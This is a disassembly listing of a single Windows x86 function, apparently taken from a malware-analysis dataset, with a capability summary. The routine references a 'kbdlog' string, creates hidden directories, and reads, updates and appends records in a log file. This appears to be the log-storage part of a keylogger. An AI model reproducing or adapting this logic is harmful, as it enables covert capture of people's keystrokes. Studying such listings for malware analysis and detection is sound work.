Function at 0x47b8c0
Capabilities:
Create directory
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x566e90
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x5b3680]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
call fcn.00402a00
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x47b908
push 0x80004005
call fcn.004027b0
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x30], eax
mov dword [esp + 0x50], 1
mov edx, str.kbdlog
push 0
push 1
lea ecx, [esp + 0x38]
call fcn.004820b0
mov esi, dword [esp + 0x38]
add esp, 8
or ebx, 0xffffffff
cmp dword [esi - 0xc], 0
jle 0x47bca3
lea ecx, [esp + 0x18]
call fcn.00482350
mov byte [esp + 0x50], 2
mov eax, dword [0x5ba20c]
test eax, eax
je 0x47b977
cmp dword [eax + 0x180], 0
je 0x47b977
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x18]
mov eax, dword [eax + 0x54]
push dword [eax - 0xc]
push eax
call fcn.00443ec0
mov ebx, dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push 0
push dword [esp + 0x1c]
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 2
push dword [esp + 0x1c]
call edi
push 0x5845b0
lea eax, [esp + 0x1c]
push 0x58b238
push eax
call fcn.00443ea0
add esp, 0xc
push 0
push dword [esp + 0x1c]
push 0
call ebx
push 2
push dword [esp + 0x1c]
call edi
call fcn.00402a00
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x47b9da
push 0x80004005
call fcn.004027b0
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0x50], 4
lea eax, [esp + 0x34]
push esi
push dword [esp + 0x1c]
push 0x58ae70
push eax
call fcn.00415d20
mov edi, dword [esp + 0x44]
add esp, 0x10
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x14], 0
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x20], ebx
push eax
push 4
lea eax, [esp + 0x20]
mov dword [esp + 0x2c], 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [esp + 0x14]
push eax
push 8
lea eax, [esp + 0x48]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x10], 0
jne 0x47bad9
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0x14]
push eax
push 8
lea eax, [esp + 0x48]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor ecx, ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x14], ecx
jmp 0x47badd
mov ecx, dword [esp + 0x14]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xe0]
add eax, ecx
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
add ecx, dword [eax + 0xe0]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
mov ebx, dword [ebp + 8]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x14]
push 0
mov edx, dword [ebx + 0xe0]
lea ecx, [edx + eax]
mov dword [esp + 0x3c], ecx
lea ecx, [edx + eax]
mov dword [esp + 0x30], ecx
lea ecx, [esp + 0x14]
push ecx
push eax
push dword [esp + 0x30]
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x47bb83
push ecx
push dword [esp + 0x28]
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x34]
call fcn.005241e0
push dword [esp + 0x3c]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
call fcn.00531580
mov ecx, dword [esp + 0x48]
add esp, 0x1c
mov dword [esp + 0x10], ecx
mov eax, dword [ebx + 0xe0]
add dword [esp + 0x14], eax
push eax
push dword [ebx + 0xdc]
mov eax, dword [esp + 0x2c]
add eax, ecx
push eax
call fcn.00531580
push dword [esp + 0x20]
mov eax, dword [ebx + 0xd8]
add dword [esp + 0x30], eax
lea eax, [esp + 0x48]
mov ebx, dword [esp + 0x34]
push ebx
push eax
push dword [esp + 0x40]
call fcn.00524120
add esp, 0x1c
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebx
push 0
push 0
push 0
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0x14]
push eax
push 8
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x40]
push dword [esp + 0x34]
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x28]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x50], 2
add edi, 0xfffffff0
or ebx, 0xffffffff
mov ecx, ebx
lea eax, [edi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x47bc81
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [esp + 0x50], 1
mov ecx, ebx
mov edx, dword [esp + 0x18]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x47bca3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [esp + 0x50], 0xffffffff
add esi, 0xfffffff0
lea eax, [esi + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jg 0x47bcc2
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4